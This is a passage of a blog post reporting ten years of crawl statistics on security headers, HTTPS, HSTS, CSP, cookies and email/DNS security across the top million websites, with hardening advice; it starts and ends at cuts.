https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/https.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/https.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/https.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Just look at that rise in adoption! You can also see another similar trend in that sites at the higher end of the ranking (the left side of the graph) are more likely to deploy certain security measures like HTTPS and sites further down the ranking (the right side of the graph) are less likely.</p><p></p><h3 id="http-strict-transport-security">HTTP Strict Transport Security</h3><p>HSTS continues its healthy growth: 252,846 sites now send the header, up 34% on 2022. Given that HSTS only makes sense once you&apos;re fully on HTTPS, it&apos;s reassuring to see it keep climbing rather than plateauing alongside HTTPS.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/image-4.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: Ten Years of Web Security" loading="lazy" width="2000" height="1109" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/image-4.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/image-4.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/image-4.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/image-4.png 2033w" sizes="(min-width: 720px) 720px"></figure><p></p><p>HSTS has shown huge growth over the last 10 years and now stands out as a very popular security mechanism.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/hsts.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: Ten Years of Web Security" loading="lazy" width="2000" height="1215" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/hsts.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/hsts.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/hsts.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/hsts.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><p>But presence isn&apos;t the same as a <em>good</em> configuration. Looking at how those sites actually set the header: only 49.8% include<strong> </strong><code>includeSubDomains</code>, 69.2% set a <code>max-age</code> of at least a year, and 29.2% send the <code>preload</code> directive &#x2014; but when you require all three together, which is the real bar for the <a href="https://hstspreload.org/?ref=scotthelme.ghost.io">preload list</a>, only 21% (53,019 sites) actually qualify. A lot of HSTS deployments are weaker than they look. If you want to get the directives (and <code>preload</code>) right, the <a href="https://scotthelme.co.uk/hsts-cheat-sheet/?ref=scotthelme.ghost.io">HSTS Cheat Sheet</a> has you covered.</p><p></p><table>
    <thead>
    <tr>
    <th>Configuration</th>
    <th>Sites</th>
    <th>Share</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td><code>max-age</code> &#x2265; 1 year</td>
    <td>174,988</td>
    <td>69.2%</td>
    </tr>
    <tr>
    <td><code>includeSubDomains</code></td>
    <td>125,826</td>
    <td>49.8%</td>
    </tr>
    <tr>
    <td><code>preload</code> directive</td>
    <td>73,792</td>
    <td>29.2%</td>
    </tr>
    <tr>
    <td><strong>Preload-eligible (all three)</strong></td>
    <td><strong>53,019</strong></td>
    <td><strong>21.0%</strong></td>
    </tr>
    </tbody>
    </table>
    <p></p><h3 id="security-headers">Security Headers</h3><p>The core security headers continue to grow, and some of them dramatically. With some really simple and easy wins for security and privacy, it&apos;s nice to see continued increases in the numbers.</p><p></p>
    <!--kg-card-begin: html-->
    <table>
    <thead>
    <tr>
    <th>Header</th>
    <th>Jun 2022</th>
    <th><strong>Jun 2026</strong></th>
    <th>Change</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>Content-Security-Policy</td>
    <td>79,549</td>
    <td><strong>170,057</strong></td>
    <td>+114%</td>
    </tr>
    <tr>
    <td>Referrer-Policy</td>
    <td>70,928</td>
    <td><strong>229,130</strong></td>
    <td>+223%</td>
    </tr>
    <tr>
    <td>Permissions-Policy</td>
    <td>32,837</td>
    <td><strong>101,364</strong></td>
    <td>+209%</td>
    </tr>
    <tr>
    <td>X-Frame-Options</td>
    <td>201,170</td>
    <td><strong>327,918</strong></td>
    <td>+63%</td>
    </tr>
    <tr>
    <td>X-Content-Type-Options</td>
    <td>184,302</td>
    <td><strong>311,659</strong></td>
    <td>+69%</td>
    </tr>
    </tbody>
    </table>
    <!--kg-card-end: html-->
    <p></p><p><a href="https://scotthelme.co.uk/a-new-security-header-referrer-policy/?ref=scotthelme.ghost.io" rel="noreferrer">Referrer-Policy</a> is the standout, more than tripling &#x2014; it&apos;s cheap, safe, and increasingly set by default by frameworks and CDNs. CSP more than doubling is hugely encouraging given how hard it is to deploy well; if you&apos;re wrestling with one, reach out to us at <a href="https://report-uri.com/solutions/cross_site_scripting?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a> and we&apos;ll make it easy. <a href="https://scotthelme.co.uk/goodbye-feature-policy-and-hello-permissions-policy/?ref=scotthelme.ghost.io" rel="noreferrer">Permissions-Policy</a> has tripled as it finishes replacing the deprecated <a href="https://scotthelme.co.uk/a-new-security-header-feature-policy/?ref=scotthelme.ghost.io" rel="noreferrer">Feature-Policy</a> (now down to 4,600 and falling).</p><p>One blemish: X-XSS-Protection is still being sent by 163,114 sites and is even still growing slightly, despite browsers having <em>removed</em> the feature entirely. It does nothing now, and in its day it could even introduce vulnerabilities. It&apos;s a header that should be deleted, not deployed.</p><p>Permissions-Policy, by contrast, is being used sensibly: the most-restricted features are the genuinely sensitive ones &#x2014; geolocation (80.6%), microphone (79.5%) and camera (79.3%) &#x2014; with payment, the motion sensors and USB close behind. (A lingering 5.8% still disable <code>interest-cohort</code>, the <a href="https://scotthelme.co.uk/what-the-floc/?ref=scotthelme.ghost.io" rel="noreferrer">FLoC opt-out</a> for a feature that no longer exists.)</p><p></p><table>
    <thead>
    <tr>
    <th>Feature</th>
    <th>Sites</th>
    <th>Share</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>geolocation</td>
    <td>81,534</td>
    <td>80.6%</td>
    </tr>
    <tr>
    <td>microphone</td>
    <td>80,418</td>
    <td>79.5%</td>
    </tr>
    <tr>
    <td>camera</td>
    <td>80,148</td>
    <td>79.3%</td>
    </tr>
    <tr>
    <td>payment</td>
    <td>66,674</td>
    <td>65.9%</td>
    </tr>
    <tr>
    <td>gyroscope</td>
    <td>63,834</td>
    <td>63.1%</td>
    </tr>
    <tr>
    <td>magnetometer</td>
    <td>63,630</td>
    <td>62.9%</td>
    </tr>
    <tr>
    <td>usb</td>
    <td>62,608</td>
    <td>61.9%</td>
    </tr>
    <tr>
    <td>accelerometer</td>
    <td>61,517</td>
    <td>60.8%</td>
    </tr>
    <tr>
    <td>clipboard-write</td>
    <td>51,795</td>
    <td>51.2%</td>
    </tr>
    <tr>
    <td>fullscreen</td>
    <td>12,308</td>
    <td>12.2%</td>
    </tr>
    <tr>
    <td>autoplay</td>
    <td>7,324</td>
    <td>7.2%</td>
    </tr>
    <tr>
    <td>interest-cohort (FLoC, dead)</td>
    <td>5,872</td>
    <td>5.8%</td>
    </tr>
    </tbody>
    </table>
    <p></p><h3 id="csp-presence-vs-strength-new">CSP: presence vs strength (new)</h3><p>With a 114% increase since just the last crawler report, CSP has continued to see strong growth.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/image-2.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: Ten Years of Web Security" loading="lazy" width="2000" height="1109" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/image-2.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/image-2.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/image-2.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/image-2.png 2033w" sizes="(min-width: 720px) 720px"></figure><p></p><p>The higher ranked sites to the left are much more likely to deploy a CSP, whilst the lower ranked sites to the right are less likely to deploy a CSP. One of the really key points with CSP is the explosive growth in adoption over the years, made clear when we look at the historic data.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/csp.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: Ten Years of Web Security" loading="lazy" width="2000" height="1075" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/csp.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/csp.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/csp.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/csp.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Growth is one thing; <em>strength</em> is another, and CSP is where the gap shows most. Looking inside all 170,057 policies:</p><ul><li>46.8% still contain <code>unsafe-inline</code> and 41.9% <code>unsafe-eval</code> &#x2014; directives that substantially undermine a policy&apos;s protection against <a href="https://report-uri.com/solutions/cross_site_scripting?ref=scotthelme.ghost.io" rel="noreferrer">XSS</a>.</li><li>Only 24.7% use a <code>nonce</code>, a mere 1.6% use <code>strict-dynamic</code>, and a vanishing 0.2% (just 318 sites) use <code>require-trusted-types-for</code>, the strongest defence we have against DOM-based XSS.</li><li>On the brighter side, 45.9% set <code>frame-ancestors</code> and 32.7% use <code>upgrade-insecure-requests</code>.</li></ul><p>So while CSP adoption has more than doubled, nearly half of all policies are in need of some TLC. Setting a CSP is the easy part; getting to a strong policy, that requires a little work.</p><p></p><table>
    <thead>
    <tr>
    <th>Directive</th>
    <th>Sites</th>
    <th>Share</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td><code>unsafe-inline</code></td>
    <td>79,464</td>
    <td>46.8%</td>
    </tr>
    <tr>
    <td><code>frame-ancestors</code></td>
    <td>77,873</td>
    <td>45.9%</td>
    </tr>
    <tr>
    <td><code>unsafe-eval</code></td>
    <td>71,094</td>
    <td>41.9%</td>
    </tr>
    <tr>
    <td><code>upgrade-insecure-requests</code></td>
    <td>55,452</td>
    <td>32.7%</td>
    </tr>
    <tr>
    <td><code>nonce-&#x2026;</code></td>
    <td>41,936</td>
    <td>24.7%</td>
    </tr>
    <tr>
    <td>has reporting (<code>report-uri</code>/<code>report-to</code>)</td>
    <td>8,134</td>
    <td>4.8%</td>
    </tr>
    <tr>
    <td><code>strict-dynamic</code></td>
    <td>2,774</td>
    <td>1.6%</td>
    </tr>
    <tr>
    <td><code>require-trusted-types-for</code> (Trusted Types)</td>
    <td>318</td>
    <td>0.2%</td>
    </tr>
    </tbody>
    </table>
    <p></p><h3 id="the-cross-origin-isolation-family-new">The cross-origin isolation family (new)</h3><p>For the first time, I&apos;ve updated the crawler to track the <a href="https://scotthelme.co.uk/coop-and-coep/?ref=scotthelme.ghost.io" rel="noreferrer">modern cross-origin isolation headers</a>, and adoption is already meaningful:</p><p></p><ul><li>Cross-Origin-Opener-Policy (COOP): 97,929 (+ 1,553 report-only)</li><li>Cross-Origin-Resource-Policy (CORP): 57,719</li><li>Cross-Origin-Embedder-Policy (COEP): 54,459 (+ 1,550 report-only)</li><li>Origin-Agent-Cluster: 53,415</li></ul><p></p><p>These are the headers that unlock cross-origin isolation and harden you against a whole class of cross-origin and Spectre-style attacks. Seeing them already on tens of thousands of sites is a good sign that the next generation of isolation primitives is taking root.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/cross-origin.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: Ten Years of Web Security" loading="lazy" width="2000" height="1100" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/cross-origin.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/cross-origin.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/cross-origin.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/cross-origin.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Looking at the general trend, we can see that these headers are more popular on the higher ranked sites, but there&apos;s also a very odd trend with COOP in the middle of the ranking! I&apos;ve not looked into this enough to determine why that huge spike exists, but the raw data is available if you&apos;d like to do some investigation.</p><p></p><h3 id="the-reporting-api-explosion">The Reporting API explosion</h3><p>Reporting is the metric that&apos;s exploded the most since the last report. Report-To is now on 289,021 sites and NEL on 285,620 &#x2014; both an order of magnitude higher than the ~12,000 we saw back in 2020, almost entirely because Cloudflare enables Network Error Logging by default for the sites behind it. The modern successor, Reporting-Endpoints, is just getting started at 3,920 sites.</p><p>Just how concentrated is it? Of all those Report-To endpoints, <code>a.nel.cloudflare.com</code> appears on 279,362 of them &#x2014; about 97% &#x2014; so this entire metric is, in effect, one company&apos;s default. The rest is a long tail: Google&apos;s <code>csp.withgoogle.com</code> (1,378), Heroku&apos;s NEL endpoint (1,257), and a scattering of others. <a href="https://report-uri.com/?ref=scotthelme.ghost.io">Report URI</a> is the destination on 865 sites across their CSP and Report-To configurations (210 of them in the <code>Report-To</code> header specifically) &#x2014; which, as the person who runs it, I&apos;m always happy to see. Sadly, we&apos;re under-represented in the numbers based on our typical customer&apos;s deployment model. The crawler is only looking at the homepage of each site and we have large numbers of customers that only deploy our solution on sensitive areas of their site like account sections, payment flows, etc.</p><p></p><h3 id="securitytxt">security.txt</h3><p>A modest year for <a href="https://scotthelme.co.uk/say-hello-to-security-txt/?ref=scotthelme.ghost.io">security.txt</a>: 9,927 sites publish a valid <code>/.well-known/security.txt</code>, up about 10% on 2022. It&apos;s now an RFC and a genuinely useful way to receive vulnerability reports, so I&apos;d love to see this one continue to grow.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/security-txt.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: Ten Years of Web Security" loading="lazy" width="2000" height="1108" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/security-txt.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/security-txt.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/security-txt.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/security-txt.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><h3 id="what-your-headers-give-away-new">What your headers give away (new)</h3><p>This year I started analysing the information-disclosure headers, and the results are a nice reminder that plenty of sites are still broadcasting their stack to anyone who asks. The most common <code>X-Powered-By</code> values:</p><p></p><ul><li><code>ASP.NET</code> &#x2014; 22,035</li><li><code>Next.js</code> &#x2014; 17,541</li><li><code>PleskLin</code> &#x2014; 15,023</li><li><code>WP Engine</code> &#x2014; 10,445</li><li><strong><code>PHP/7.4.33</code> &#x2014; 9,264</strong></li></ul><p></p><p>That last one is the interesting one: 9,264 sites are advertising an exact, end-of-life PHP version (7.4 stopped receiving security updates back in 2022). That&apos;s a gift to an attacker &#x2014; free reconnaissance, handed over in a response header. There&apos;s no upside to sending <code>X-Powered-By</code>; turn it off.</p><p></p><h3 id="http3-and-http-versions">HTTP/3 and HTTP versions</h3><p>The transport layer keeps modernising. HTTP/2 is now on 570,952 sites (up from 454,560 in 2022), HTTP/1.1 has fallen to 247,392, and HTTP/1.0 is nearly gone at 630. HTTP/3 isn&apos;t negotiated directly by the crawler, but I now measure its advertisement via the <code>Alt-Svc</code> header, and 356,380 sites advertise <code>h3</code> &#x2014; a huge footprint, driven by Cloudflare and the other big CDNs enabling it by default.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/http-versions-1.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: Ten Years of Web Security" loading="lazy" width="2000" height="1003" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/http-versions-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/http-versions-1.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/http-versions-1.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/http-versions-1.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><h3 id="cookies-new">Cookies (new)</h3><p>For the first time I&apos;ve recorded the security attributes on <code>Set-Cookie</code> headers (flags only &#x2014; no cookie values are ever stored). Of the 314,878 sites that set at least one cookie:</p><p></p><ul><li>Secure: 189,528</li><li>HttpOnly: 223,384</li><li>SameSite: 176,300</li><li><code>__Host-</code> prefix: 802</li><li><code>__Secure-</code> prefix: 1,913</li></ul><p></p><p>So a majority of cookie-setting sites get the basics (<code>HttpOnly</code>, <code>Secure</code>) right, but the genuinely robust cookie-hardening primitives &#x2014; the <code>__Host-</code> and <code>__Secure-</code> prefixes &#x2014; are barely used at all. There&apos;s a lot of headroom here, they&apos;re free, and you can find all of the information in my blog post <a href="https://scotthelme.co.uk/tough-cookies/?ref=scotthelme.ghost.io" rel="noreferrer">Tough Cookies</a>.</p><p></p><h3 id="email-dns-security-new">Email &amp; DNS security (new)</h3><p>The crawler now performs a whole bunch of DNS lookups alongside the HTTP request too, which surfaces a set of metrics this report has never covered. DMARC: 398,597 sites publish a <a href="https://scotthelme.co.uk/email-security-dmarc/?ref=scotthelme.ghost.io" rel="noreferrer">DMARC record</a>, and the split is interesting:</p><p></p><table>
    <thead>
    <tr>
    <th>Policy</th>
    <th>Count</th>
    <th>Share</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>p=none (monitor only)</td>
    <td>204,769</td>
    <td>51.4%</td>
    </tr>
    <tr>
    <td>p=quarantine</td>
    <td>100,134</td>
    <td>25.1%</td>
    </tr>
    <tr>
    <td>p=reject</td>
    <td>93,264</td>
    <td>23.4%</td>
    </tr>
    </tbody>
    </table>
    <p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/dmarc.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: Ten Years of Web Security" loading="lazy" width="2000" height="1108" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/dmarc.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/dmarc.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/dmarc.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/dmarc.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Roughly half are still in monitor-only mode and haven&apos;t turned on real protection. Looking further:</p><p></p><ul><li><a href="https://scotthelme.co.uk/email-security-spf/?ref=scotthelme.ghost.io" rel="noreferrer">SPF</a>: 538,011 sites.</li><li>IPv6 (AAAA): 344,430 sites &#x2014; IPv6 is still a minority at ~42%, a decade into &quot;the year of IPv6&quot;.</li><li>DNSSEC: 73,405 sites &#x2014; persistently low, as it always has been.</li></ul><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/spf.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: Ten Years of Web Security" loading="lazy" width="2000" height="1108" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/spf.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/spf.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/spf.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/spf.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/ipv6.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: Ten Years of Web Security" loading="lazy" width="2000" height="1108" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/ipv6.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/ipv6.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/ipv6.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/ipv6.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/dnssec.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: Ten Years of Web Security" loading="lazy" width="2000" height="1108" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/dnssec.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/dnssec.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/dnssec.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/dnssec.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><h3 id="fossils-of-the-web">Fossils of the web</h3><p>Every crawl turns up headers that outlived the problem they were supposed to solve.</p><p></p><ul><li>HPKP (Public-Key-Pins): still on 654 sites, even though I <a href="https://scotthelme.co.uk/hpkp-is-no-more/?ref=scotthelme.ghost.io" rel="noreferrer">blogged about it being removed</a> back in 2020.</li><li><a href="https://scotthelme.co.uk/what-the-floc/?ref=scotthelme.ghost.io" rel="noreferrer">FLoC opt-out</a> (<code>interest-cohort=()</code>): 5,872 sites still send the opt-out for an advertising technology Google cancelled in 2022.</li><li>X-XSS-Protection (covered above): 163,114 sites, for a browser feature that no longer exists, and I blogged about <a href="https://scotthelme.co.uk/security-headers-updates/?ref=scotthelme.ghost.io" rel="noreferrer">XXP being removed back in 2019</a>.</li></ul><p></p><p>We seem to be holding on to some of these headers much longer than we should, so consider this a friendly nudge to delete the ones you don&apos;t need.</p><p></p><h3 id="servers-infrastructure">Servers &amp; infrastructure</h3><p>The infrastructure picture is more concentrated than ever. By <code>Server</code> header:</p><p></p><table>
    <thead>
    <tr>
    <th>Server</th>
    <th>Count</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>cloudflare</td>
    <td>361,366</td>
    </tr>
    <tr>
    <td>nginx</td>
    <td>105,829</td>
    </tr>
    <tr>
    <td>Apache</td>
    <td>67,461</td>
    </tr>
    <tr>
    <td>LiteSpeed</td>
    <td>22,850</td>
    </tr>
    <tr>
    <td>Microsoft-IIS/10.0</td>
    <td>14,818</td>
    </tr>
    <tr>
    <td>AmazonS3</td>
    <td>9,095</td>
    </tr>
    <tr>
    <td>openresty</td>
    <td>8,028</td>
    </tr>
    <tr>
    <td>nginx/1.24.0 (Ubuntu)</td>
    <td>7,810</td>
    </tr>
    <tr>
    <td>Vercel</td>
    <td>7,685</td>
    </tr>
    <tr>
    <td>CloudFront</td>
    <td>6,369</td>
    </tr>
    </tbody>
    </table>
    <p></p><p>Cloudflare alone now fronts well over a third of the responding sites, which explains a lot of what we&apos;ve seen above: when one provider flips a default &#x2014; HTTP/3, NEL, the cross-origin headers, or (as we&apos;ll see in part two) post-quantum primitives &#x2014; it moves the entire web&apos;s numbers overnight. By TLD, <code>.com</code> dominates as always.</p><p></p><table>
    <thead>
    <tr>
    <th>TLD</th>
    <th>Count</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>.com</td>
    <td>360,571</td>
    </tr>
    <tr>
    <td>.net</td>
    <td>34,704</td>
    </tr>
    <tr>
    <td>.org</td>
    <td>34,015</td>
    </tr>
    <tr>
    <td>.uk</td>
    <td>28,940</td>
    </tr>
    <tr>
    <td>.ru</td>
    <td>28,603</td>
    </tr>
    <tr>
    <td>.de</td>
    <td>25,384</td>
    </tr>
    <tr>
    <td>.br</td>
    <td>14,544</td>
    </tr>
    <tr>
    <td>.nl</td>
    <td>12,929</td>
    </tr>
    <tr>
    <td>.jp</td>
    <td>10,812</td>
    </tr>
    <tr>
    <td>.in</td>
    <td>9,503</td>
    </tr>
    </tbody>
    </table>
    <p></p><h3 id="security-grades">Security Grades</h3><p>Finally, the <a href="https://securityheaders.com/?ref=scotthelme.ghost.io">securityheaders.com</a>-style grade across the responding sites is a humbling reality check:</p><p></p><table>
    <thead>
    <tr>
    <th>Grade</th>
    <th>Jun 2022</th>
    <th>Jun 2026</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>A+</td>
    <td>2,860</td>
    <td>10,496</td>
    </tr>
    <tr>
    <td>A</td>
    <td>31,281</td>
    <td>61,350</td>
    </tr>
    <tr>
    <td>B</td>
    <td>33,333</td>
    <td>71,700</td>
    </tr>
    <tr>
    <td>C</td>
    <td>38,462</td>
    <td>40,991</td>
    </tr>
    <tr>
    <td>D</td>
    <td>139,632</td>
    <td>166,412</td>
    </tr>
    <tr>
    <td>E</td>
    <td>9,951</td>
    <td>25,815</td>
    </tr>
    <tr>
    <td>F</td>
    <td>564,740</td>
    <td>440,832</td>
    </tr>
    <tr>
    <td>R (redirect)</td>
    <td>&#x2014;</td>
    <td>1,406</td>
    </tr>
    </tbody>
    </table>
    <p></p><p>More than half the web still scores an <strong>F</strong> on basic security headers &#x2014; though there&apos;s real progress hiding in that number: the F count actually <em>fell</em> by around 124,000 since 2022 while every higher grade grew. Slow, but in the right direction.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/security-headers.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: Ten Years of Web Security" loading="lazy" width="2000" height="1094" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/security-headers.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/security-headers.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/security-headers.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/security-headers.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><h3 id="closing-thoughts">Closing thoughts</h3><p>Looking back over ten years of data, the overall trend is clear: the web is in a much better place than it used to be. HTTPS is now the norm, HSTS is far more common, CSP adoption continues to grow, and newer mechanisms like the Reporting API, COOP/COEP and Permissions-Policy are starting to appear at meaningful scale. That progress matters, and it represents a huge amount of work across browsers, hosting providers, CDNs, developers, security teams and standards bodies.</p><p>But adoption alone doesn&#x2019;t tell the whole story. Many sites now have the right headers, policies or controls present, but they are often incomplete, overly permissive, or deployed in a way that limits their real-world value. A CSP with <code>unsafe-inline</code>, an HSTS policy with a tiny <code>max-age</code>, cookies missing key attributes, or a DMARC policy stuck at <code>p=none</code> all show the same thing: getting the feature deployed is only the first step.</p><p>The encouraging part is that the direction of travel is positive. The challenge for the 